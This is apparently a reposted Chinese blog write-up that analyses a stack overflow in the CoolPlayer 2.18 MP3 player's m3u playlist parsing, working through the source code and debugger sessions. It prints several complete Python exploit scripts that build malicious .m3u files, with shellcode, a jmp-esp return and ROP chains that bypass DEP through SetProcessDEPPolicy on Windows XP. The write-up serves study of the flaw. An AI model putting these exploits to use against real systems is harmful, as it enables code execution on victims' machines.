内容简介:CoolPlayer 是一款MP3播放软件,功能丰富,界面美观,十年前就已经停止更新,但直至现在依然还有人在下载使用根据
环境搭建
CoolPlayer 是一款MP3播放软件,功能丰富,界面美观,十年前就已经停止更新,但直至现在依然还有人在下载使用
根据 exploitdb ,CoolPlayer 2.18在处理 m3u
文件时,存在栈溢出,并且可以绕过 DEP
执行代码。
根据 维基百科 对 m3u
文件的解释
M3U文件是一种纯文本文件,可以指定一个或多个多媒体文件的位置,其文件扩展名是“M3U”或者“m3u”。 M3U文件具有多个条目,每个条目的格式可以是以下几种格式之一: 一个绝对路径;比如:C:My MusicHeavysets.mp3 一个相对路径(相对于M3U文件的路径);比如:Heavysets.mp3 一个URL M3U文件也有注释,注释行以"#"字符开头,在扩展M3U文件中,"#"还引入了扩展M3U指令。 M3U文件的作用通常是创建指向在线流媒体的播放列表,创建的文件可以轻松访问流媒体。M3U文件通常作为网站的下载资源、通过email收发,并可以收听网络电台。 如果使用编辑器编辑M3U文件,必须将该文件用Windows-1252格式保存,这种格式是ASCII编码的超集。M3U文件也可以使用Latin-1字符编码。
简单点可以理解, m3u
是是一种存放文件列表的文本文件(理解这个,对下面的分析很重要)。
利用的 exploit
# Exploit Title: CoolPlayer 2.18 DEP Bypass # Date: January 2, 2011 # Author: Blake # Version: 2.18 # Tested on: Windows XP SP3 running in Virtualbox # Uses SetProcessDEPPolicy() to disable DEP for the process # Thanks to mr_me for the encouragement # Exploit-DB Notes: May not work on all Win XP SP3 machines print "n============================" print "CoolPlayer 2.18 DEP Bypass" print "Written by Blake" print "============================n" # windows/exec calc.exe 227 bytes - 240 bytes of shellcode space available shellcode =( "xdaxdaxd9x74x24xf4xbfxe7x18x22xfbx2bxc9xb1x33" "x5ex31x7ex17x83xeexfcx03x99x0bxc0x0ex99xc4x8d" "xf1x61x15xeex78x84x24x3cx1excdx15xf0x54x83x95" "x7bx38x37x2dx09x95x38x86xa4xc3x77x17x09xccxdb" "xdbx0bxb0x21x08xecx89xeax5dxedxcex16xadxbfx87" "x5dx1cx50xa3x23x9dx51x63x28x9dx29x06xeex6ax80" "x09x3exc2x9fx42xa6x68xc7x72xd7xbdx1bx4ex9exca" "xe8x24x21x1bx21xc4x10x63xeexfbx9dx6exeex3cx19" "x91x85x36x5ax2cx9ex8cx21xeax2bx11x81x79x8bxf1" "x30xadx4ax71x3ex1ax18xddx22x9dxcdx55x5ex16xf0" "xb9xd7x6cxd7x1dxbcx37x76x07x18x99x87x57xc4x46" "x22x13xe6x93x54x7ex6cx65xd4x04xc9x65xe6x06x79" "x0exd7x8dx16x49xe8x47x53xabx19x5ax49x3cx80x0f" "x30x20x33xfax76x5dxb0x0fx06x9axa8x65x03xe6x6e" "x95x79x77x1bx99x2ex78x0exfaxb1xeaxd2xd3x54x8b" "x71x2c") buffer = "x41" * 220 eip = "x28xb0x9fx7c" # POP ECX / RETN - SHELL32.DLL 7C9FB028 offset1 = "x42" * 4 nop = "x90" * 10 # put zero in EBX rop = "xddxadx9ex7c" # POP EBX / RETN - SHELL32.DLL 7C9EADDD rop += "xffxffxffxff" # placed into ebx rop += "xe1x27xc1x77" # INC EBX / RETN - MSVCRT.DLL 77C127E1 # set EBP to point to SetProcessDEPPolicy rop += "x7bxa6x9ex7c" # POP EBP / RETN - SHELL32.DLL 7C9EA67B rop += "xa4x22x86x7c" # address of SetProcessDEPPolicy XP SP3 # set EDI as a pointer to RET (rop nop) rop += "x47xebx9ex7c" # POP EDI / RETN - SHELL32.DLL 7C9EEB47 rop += "x08x15x9cx7c" # RETN - SHELL32.DLL 7C9C1508 # set ESI as a pointer to RET (rop nop) rop += "x4cx20x9cx7c" # POP ESI / RETN - SHELL32.DLL 7C9C204C rop += "x51x20x9cx7c" # RETN - SHELL32.DLL 7C9C2051 # set ESP to point at nops rop += "x73x10xa1x7c" # PUSHAD / RETN - SHELL32.DLL 7CA11073 print "[*] Creating malicious m3u file" try: file = open("exploit.m3u","w") file.write(buffer + eip + offset1 + rop + nop + shellcode) file.close() print "[*] File created" except: print "[x] Error creating file!" raw_input("nPress any key to exit...")
测试环境
windows cn xp sp3 windbg vc 6.0 immunity debugger/mona.py
漏洞分析
mona
生成匹配串,之后利用 windbg
直接跑,可以发现溢出出错了
但是这里有个很奇怪的一点,调用栈没用。无法根据调用栈回溯到出错位置。试了各种各样的办法,也确定了溢出长度为 260
,使用 264
长度的串,依然无法观察到。尝试查看所有线程的调用栈,看看是否能够发现什么
其中唯独有关的位置 image00400000+0xdbd6(40dbd6)
,利用 IDA
查看,依然也没有发现
由于分析经验不足,尝试了各种各样的方法,但是依然没有解决这个问题,找不到出错的位置。最后实在没有办法就想起了直接啃源码,这种比较笨拙的办法了。
源码分析
源码整体的框架
是使用 VC6.0
这种上古神器编译的,其实也就可以知道了,是可以绕过 DEP
的,这里暂时不谈。
main.c
结构
细看一下 WinMain
,是一个完整的 windows
消息处理程序,找到窗口处理过程,查看功能实现代码,其 WM_LBUTTONUP
实现了其窗口的各种功能,包括下一首,上一首,皮肤处理等等。
case WM_LBUTTONUP: { int teller; ReleaseCapture(); globals.main_bool_slider_keep_focus = FALSE; cursorpos = MAKEPOINTS(lParam); for (teller = PlaySwitch; teller <= ExitButton; teller++) { if (cursorpos.x >= Skin.Object[teller].x && cursorpos.y >= Skin.Object[teller].y && cursorpos.x <= Skin.Object[teller].x + Skin.Object[teller].w && cursorpos.y <= Skin.Object[teller].y + Skin.Object[teller].h) { switch (teller) { case PlaySwitch: main_play_control(ID_PLAY, hWnd); break; case PauseSwitch: main_play_control(ID_PAUSE, hWnd); break; case StopSwitch: main_play_control(ID_STOP, hWnd); break; case RepeatSwitch: main_play_control(ID_REPEAT, hWnd); break; case ShuffleSwitch: main_play_control(ID_SHUFFLE, hWnd); break; case EqSwitch: main_play_control(ID_EQUALIZER, hWnd); break; case PlaylistButton: main_play_control(ID_PLAYLIST, hWnd); break; case NextButton: main_play_control(ID_NEXT, hWnd); break; case PrevButton: main_play_control(ID_PREVIOUS, hWnd); break; case MinimizeButton: if (options.show_on_taskbar) ShowWindow(hWnd, SW_MINIMIZE); else ShowWindow(hWnd, SW_HIDE); break; case NextSkinButton: main_play_control(ID_LOADSKIN, hWnd); break; case ExitButton: DestroyWindow(hWnd); break; case EjectButton: main_play_control(ID_LOAD, hWnd); break; } } } // options.show_remaining_time time if (cursorpos.x >= Skin.Object[TimeText].x && cursorpos.y >= Skin.Object[TimeText].y && cursorpos.x <= (Skin.Object[TimeText].x + (Skin.Object[TimeText].w * 8)) && cursorpos.y <= (Skin.Object[TimeText].y + Skin.Object[TimeText].h)) { options.show_remaining_time = !options.show_remaining_time; main_draw_time(hWnd); break; } main_draw_controls_all(hWnd); break; }
跟我们最相关的是这里
case EjectButton: main_play_control(ID_LOAD, hWnd);
跟进查看 ID_LOAD
的处理代码
int main_play_control(WORD wParam, HWND hWnd) { ... case ID_LOAD: CPVERB_OpenFile(vaDoVerb, hWnd); break; ... }
继续跟进
void CPVERB_OpenFile(const CPe_VerbAction enAction, void* _pParam) { if (enAction == vaDoVerb) { if (playlist_open_file(TRUE)) CPL_PlayItem(globals.m_hPlaylist, TRUE, pmCurrentItem); } else if (enAction == vaQueryName) { CPs_VerbQueryName* pParam = (CPs_VerbQueryName*)_pParam; if (stricmp(pParam->m_pcName, "OpenFile") == 0) pParam->m_bNameMatched = TRUE; } }
其实联系上两步,可以发现 enAction == vaDoVerb
,因为 enAction
就是 vaDoVerb
跟进 playlist_open_file(TRUE)
int playlist_open_file(BOOL clearlist) { OPENFILENAME fn; char filefilter[] = "All Supported files*.mp1;*.mp2;*.mp3;*.m3u;*.pls;*.wav;*.ogg" "MPEG audio files (*.mp1;*.mp2;*.mp3)*.mp1;*.mp2;*.mp3" "Vorbis files (*.ogg)*.ogg" "Playlist files (*.m3u;*.pls)*.m3u;*.pls" "WAV files (*.wav)*.wav" "All Files (*.*)*.*"; ... returnval = GetOpenFileName(&fn); if (returnval != FALSE) { char *newfilename; char path_buffer[_MAX_PATH]; char path_buffer2[_MAX_PATH]; if (clearlist) CPL_Empty(globals.m_hPlaylist); strcpy(path_buffer, fn.lpstrFile); if (path_is_directory(fn.lpstrFile) == TRUE) { path_add_backslash(path_buffer); } else { path_remove_filespec(path_buffer); } strcpy(options.last_used_directory, path_buffer); newfilename = fn.lpstrFile + fn.nFileOffset; while (newfilename[0] != 0) { strcpy(path_buffer2, path_buffer); strcat(path_buffer2, newfilename); CPL_SyncLoadNextFile(globals.m_hPlaylist); CPL_AddFile(globals.m_hPlaylist, path_buffer2); newfilename = newfilename + strlen(newfilename) + 1; } return 1; } return 0; }
其主要的功能就是
- 设置可以打开的文件后缀白名单
- 获取打开的文件名
- 构建文件的绝对路径名
根据分析,函数 CPL_AddFile
会根据绝对路径名去处理文件,继续跟进。该函数首先会判断文件的类型,获取文件的大小,获取文件目录字符串长度等,再根据不同的类型进入不同的分支进行处理,而且还可以从网络上下载文件进行处理。从 1249
行去处理 m3u
文件。
void CPL_AddFile(CP_HPLAYLIST hPlaylist, const char* pcFilename) { ... // Check for known file types enFileType = CPL_GetFileType(pcFilename); ... // Get playlist file information iPlaylist_VolumeBytes = CPL_GetPathVolumeBytes(pcFilename); iPlaylist_DirectoryBytes = CPL_GetPathDirectoryBytes(pcFilename, iPlaylist_VolumeBytes); // 这里很重要!!!! ... // 开始处理m3u文件 // It's not a URL, so we will read the file from a local (UNC) resource hFile = CreateFile(pcFilename, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile != INVALID_HANDLE_VALUE) { const DWORD dwFileSize = GetFileSize(hFile, NULL); // We will only load playlists that are smaller than 256K if (dwFileSize < 0x40000) { // The plan is to load the entire file into a memblock and then split it into lines // and scan off the whitepace and add the items to the list pcPlaylistBuffer = (char *)malloc(dwFileSize + 1); ReadFile(hFile, pcPlaylistBuffer, dwFileSize, &dwBytesRead, NULL); // Read in the file line by line iLastLineStartIDX = 0; for (iCharIDX = 0; iCharIDX < dwFileSize + 1; iCharIDX++) { if ((pcPlaylistBuffer[iCharIDX] == 'r' || pcPlaylistBuffer[iCharIDX] == 'n' || iCharIDX == dwFileSize) && iLastLineStartIDX < iCharIDX) { char cBuffer[512]; // Is there a file on this line (strip whitespace from start) if (sscanf(pcPlaylistBuffer + iLastLineStartIDX, " %512[^rn]", cBuffer) == 1) { // Something has been read - ignore lines starting with # if (cBuffer[0] != '#') CPL_AddPrefixedFile(hPlaylist, cBuffer, NULL, pcFilename, iPlaylist_VolumeBytes, iPlaylist_DirectoryBytes); } // Set the line start for the next line if (pcPlaylistBuffer[iCharIDX + 1] == 'n') iCharIDX++; iLastLineStartIDX = iCharIDX + 1; } } free(pcPlaylistBuffer); } CloseHandle(hFile); }
其中 for
循环,根据列表文件,一次处理一行,由于代码量比较大,并且这块的处理逻辑很重要,我截一个图,再做一些标注,好方便理解。
跟进函数 CPL_AddPrefixedFile
void CPL_AddPrefixedFile(CP_HPLAYLIST hPlaylist, const char* pcFilename, const char* pcTitle, const char* pcPlaylistFile, const unsigned int iPlaylist_VolumeBytes, const unsigned int iPlaylist_DirBytes) { const unsigned int iFile_VolumeBytes = CPL_GetPathVolumeBytes(pcFilename); // If the file has volume information - add it as it is if (iFile_VolumeBytes) CPL_AddSingleFile(hPlaylist, pcFilename, pcTitle); // If the filename has a leading then add it prepended by the playlist's volume else if (pcFilename[0] == '\') { char cFullPath[MAX_PATH]; memcpy(cFullPath, pcPlaylistFile, iPlaylist_VolumeBytes); strcpy(cFullPath + iPlaylist_VolumeBytes, pcFilename + 1); CPL_AddSingleFile(hPlaylist, cFullPath, pcTitle); } // Add the filename prepended by the playlist's directory else { char cFullPath[MAX_PATH]; memcpy(cFullPath, pcPlaylistFile, iPlaylist_DirBytes); strcpy(cFullPath + iPlaylist_DirBytes, pcFilename); // 溢出位置 CPL_AddSingleFile(hPlaylist, cFullPath, pcTitle); } }
根据分析,最后执行的会是这里
char cFullPath[MAX_PATH]; memcpy(cFullPath, pcPlaylistFile, iPlaylist_DirBytes); strcpy(cFullPath + iPlaylist_DirBytes, pcFilename); CPL_AddSingleFile(hPlaylist, cFullPath, pcTitle);
首先定义绝对路径字符串, MAX_PATH
定义
#ifndef MAX_PATH #define MAX_PATH 1024 #endif
这里其实 windows
定义了 MAX_PATH
,值为 260
,具体可以参考 stackoverflow的讨论 ,从 ida
逆向代码也可以验证这个结果,这里也决定了最长长度只要超过 260
,肯定会导致溢出
第二步,复制目录长度大小的数据到数组中
这步很关键,我在测试中,会将测试的 m3u
放在很多不同的目录下,比如桌面,c盘,导致溢出长度不停的变化,我也没有理解为什么。从源码中,可以发现目录的长度是占用溢出字符空间的!这也就导致了不同目录长度, m3u
文件肯定不同。经过测试, m3u
文件放在c盘根目录,溢出长度正好是 260
。
第三步,将 pcFilename
利用 strcpy
复制到 cFullPath
中,而 cFullPath
是从函数 CPL_AddFile
中读取出来的 cBuffer
,也就是 m3u
中的每行数据。之后
void CPL_AddSingleFile(CP_HPLAYLIST hPlaylist, const char* pcPath, const char* pcTitle)
并不会改变 cFullPath
的数据,到这里栈溢出导致的漏洞原因分析清楚了。
漏洞利用
jmp esp
首先使用 msfvenom
生成 shellcode
root@kali32:~# msfvenom -a x86 --platform windows -p windows/exec cmd=calc -b "x00x0ax0d" -f python Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 284 (iteration=0) x86/shikata_ga_nai chosen with final size 284 Payload size: 220 bytes Final size of python file: 1366 bytes buf = "" buf += "xdbxdaxd9x74x24xf4xbfx2fx93x9dx5cx58x2b" buf += "xc9xb1x30x31x78x18x83xe8xfcx03x78x3bx71" buf += "x68xa0xabxf7x93x59x2bx98x1axbcx1ax98x79" buf += "xb4x0cx28x09x98xa0xc3x5fx09x33xa1x77x3e" buf += "xf4x0cxaex71x05x3cx92x10x85x3fxc7xf2xb4" buf += "x8fx1axf2xf1xf2xd7xa6xaax79x45x57xdfx34" buf += "x56xdcx93xd9xdex01x63xdbxcfx97xf8x82xcf" buf += "x16x2dxbfx59x01x32xfax10xbax80x70xa3x6a" buf += "xd9x79x08x53xd6x8bx50x93xd0x73x27xedx23" buf += "x09x30x2ax5exd5xb5xa9xf8x9ex6ex16xf9x73" buf += "xe8xddxf5x38x7exb9x19xbex53xb1x25x4bx52" buf += "x16xacx0fx71xb2xf5xd4x18xe3x53xbax25xf3" buf += "x3cx63x80x7fxd0x70xb9xddxbex87x4fx58x8c" buf += "x88x4fx63xa0xe0x7exe8x2fx76x7fx3bx14x88" buf += "x35x66x3cx01x90xf2x7dx4cx23x29x41x69xa0" buf += "xd8x39x8exb8xa8x3cxcax7ex40x4cx43xebx66" buf += "xe3x64x3ex05x62xf7xa2xca"
生成 exploit
dump = 'x41' * 260 EIP = 'x53x93xd2x77' #jmp esp address buf = "" buf += "xdbxdaxd9x74x24xf4xbfx2fx93x9dx5cx58x2b" buf += "xc9xb1x30x31x78x18x83xe8xfcx03x78x3bx71" buf += "x68xa0xabxf7x93x59x2bx98x1axbcx1ax98x79" buf += "xb4x0cx28x09x98xa0xc3x5fx09x33xa1x77x3e" buf += "xf4x0cxaex71x05x3cx92x10x85x3fxc7xf2xb4" buf += "x8fx1axf2xf1xf2xd7xa6xaax79x45x57xdfx34" buf += "x56xdcx93xd9xdex01x63xdbxcfx97xf8x82xcf" buf += "x16x2dxbfx59x01x32xfax10xbax80x70xa3x6a" buf += "xd9x79x08x53xd6x8bx50x93xd0x73x27xedx23" buf += "x09x30x2ax5exd5xb5xa9xf8x9ex6ex16xf9x73" buf += "xe8xddxf5x38x7exb9x19xbex53xb1x25x4bx52" buf += "x16xacx0fx71xb2xf5xd4x18xe3x53xbax25xf3" buf += "x3cx63x80x7fxd0x70xb9xddxbex87x4fx58x8c" buf += "x88x4fx63xa0xe0x7exe8x2fx76x7fx3bx14x88" buf += "x35x66x3cx01x90xf2x7dx4cx23x29x41x69xa0" buf += "xd8x39x8exb8xa8x3cxcax7ex40x4cx43xebx66" buf += "xe3x64x3ex05x62xf7xa2xca" fp = open("jmp_esp.m3u", "w") fp.write(dump + EIP + buf) fp.close()
放在c盘下,打开文件测试
shellcode
竟然崩了,用 windbg
检查
在返回前 40c9b6
设下断点,进入 shellcode
调试看看到底哪里出现了问题
shellcode
开始处代码
0:000> u esp <Unloaded_ud.drv>+0x122203: 00122204 dbda fcmovnu st,st(2) 00122206 d97424f4 fnstenv [esp-0Ch] 0012220a bf2f939d5c mov edi,5C9D932Fh 0012220f 58 pop eax 00122210 2bc9 sub ecx,ecx 00122212 b130 mov cl,30h 00122214 317818 xor dword ptr [eax+18h],edi 00122217 83e8fc sub eax,0FFFFFFFCh
继续调试
可以发现执行完 fnstenv [esp-0Ch]
,原先的 shellcode
指令已经被改写了。
继续执行,出错了
其实这里花了很长时间搞清楚到底怎么回事,因为 shellcode
是通过 msfvenom
生成的,正常情况下,不应该出现这样的问题。 shellcode
竟然将自己的代码空间栈改写了。经过长时间的搜索,发现了问题所在
在这本 书 里,提到了这个问题
大概的意思就是 fnstenv [esp-0Ch]
会改写从 esp-0ch
开始的 28
字节数据,所以为了保证从 esp
开始的数据不被重写,重新生成 exploit
文件
dump = 'x41' * 260 EIP = 'x53x93xd2x77' #jmp esp address buf = "" buf += "xdbxdaxd9x74x24xf4xbfx2fx93x9dx5cx58x2b" buf += "xc9xb1x30x31x78x18x83xe8xfcx03x78x3bx71" buf += "x68xa0xabxf7x93x59x2bx98x1axbcx1ax98x79" buf += "xb4x0cx28x09x98xa0xc3x5fx09x33xa1x77x3e" buf += "xf4x0cxaex71x05x3cx92x10x85x3fxc7xf2xb4" buf += "x8fx1axf2xf1xf2xd7xa6xaax79x45x57xdfx34" buf += "x56xdcx93xd9xdex01x63xdbxcfx97xf8x82xcf" buf += "x16x2dxbfx59x01x32xfax10xbax80x70xa3x6a" buf += "xd9x79x08x53xd6x8bx50x93xd0x73x27xedx23" buf += "x09x30x2ax5exd5xb5xa9xf8x9ex6ex16xf9x73" buf += "xe8xddxf5x38x7exb9x19xbex53xb1x25x4bx52" buf += "x16xacx0fx71xb2xf5xd4x18xe3x53xbax25xf3" buf += "x3cx63x80x7fxd0x70xb9xddxbex87x4fx58x8c" buf += "x88x4fx63xa0xe0x7exe8x2fx76x7fx3bx14x88" buf += "x35x66x3cx01x90xf2x7dx4cx23x29x41x69xa0" buf += "xd8x39x8exb8xa8x3cxcax7ex40x4cx43xebx66" buf += "xe3x64x3ex05x62xf7xa2xca" junk = 'x41' * 20 fp = open("jmp_esp.m3u", "w") fp.write(dump + EIP + junk + buf) fp.write(buf) fp.close()
成功弹窗
这里还有一点需要注意,如果有想使用 MessageBox
弹窗的,并且利用 msfvenom
生成 shellcode
,会造成弹窗失败
可以注意一下 payload
的长度为 284
字节,加上溢出长度 260
字节,总长度是 544
字节,查看源码
if(sscanf(pcPlaylistBuffer + iLastLineStartIDX, " %512[^rn]", cBuffer) == 1) <==== { // Something has been read - ignore lines starting with # if(cBuffer[0] != '#') CPL_AddPrefixedFile(hPlaylist, cBuffer, NULL, pcFilename, iPlaylist_VolumeBytes, iPlaylist_DirectoryBytes); }
可以看到 cBuffer
最大长度不会超过 512
,超过的话 shellcode
就会被截断。
测试一下
可以看到 shellcode
确实被截断了。
bypass DEP
利用 SetProcessDepProcy
绕过 DEP
#encoding:utf-8 import struct dump = 'x90' * 260 ROP = '' ROP += struct.pack('<L',0x7711ab55) # POP EBX / RET ROP += struct.pack('<L',0xFFFFFFFF) # PARAMETER 0x00000000 - 0x1 = 0xFFFFFFFF ROP += struct.pack('<L',0x5d184ec0) # INC EBX / RET ROP += struct.pack('<L',0x77119293) # POP EBP / RET ROP += struct.pack('<L',0x7C862144) # <- SetProcessDEPPolicy ROP += struct.pack('<L',0x77114aa1) # POP EDI / RET ROP += struct.pack('<L',0x77d148c0) # RET ROP += struct.pack('<L',0x77112362) # POP ESI / RET ROP += struct.pack('<L',0x77d148c0) # RET ROP += struct.pack('<L',0x77118cf7) # PUSHAD / RET buf = "xebx14x58xb2xbfx8ax18x32xdax88x18x40x81x38xfdxfdxfdxfdx75xf1xeb" buf += "x05xe8xe7xffxffxffx43xd7xd5xb5x87xa1xd7xdcx36x6exf0xd7x8dxcbx2e" buf += "xb3x34x4bx32xc1x4bx8cx64x08xbbx94x5cxd9x04x8cx8dxecxd7xcaxccxda" buf += "xcdxebx8cx6dxdbx34xe5x8fx34xf4xb3x34xf6xa3x34xb6x34xd6xb7x12x82" buf += "xd5xb5x87xa1xcaxbax2ax40xe8x47x2axdfx34xfax83x34xf3xbaxc7xbcx72" buf += "x34xe6x9fxbcx62x8cx40xf8x34x8bx04xbcx4ax26xb0x01xb9x85x7bxcbxb7" buf += "x7ex75xb8xbcx6fxf9x54x4ex84xebx9bxa3xcax5bx34xe6x9bxbcx62xd9x34" buf += "x83xc4x34xe6xa3xbcx62xbcx93x04x2axe0x14xe8xdex82xd5xb5x87xa1xca" buf += "x16x8cx64xecxd7xdbxddxd8xbfxd7xc8xd6xd1xd8x34x7bxecxefxefxecx40" buf += "xe8x43xecx40xe8x47xfdxfdxfdxfd" file = open("setdeppolicy_bypass.m3u","w") file.write(dump + ROP + buf) file.close()
其中 shellcode
是从网上找的看雪 wingdbg 版主的,因为利用 msfvenom
生成的各种 shellcodde
长度都过长,导致被截断
总结
shellcode
如果出错的话,分析起来会比较难,而且不容易发现出错点,但是感觉收获也会特别大。
由于能力有限,难免会有错误,欢迎批评指正,有改进也非常好。
参考
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 使用动态分析技术分析 Java
- 使用动态分析技术分析 Java
- 案例分析:如何进行需求分析?
- 深度分析ConcurrentHashMap原理分析
- 如何分析“数据分析师”的岗位?
- EOS源码分析(3)案例分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Web Data Mining
Bing Liu / Springer / 2006-12-28 / USD 59.95
Web mining aims to discover useful information and knowledge from the Web hyperlink structure, page contents, and usage data. Although Web mining uses many conventional data mining techniques, it is n......一起来看看 《Web Data Mining》 这本书的介绍吧!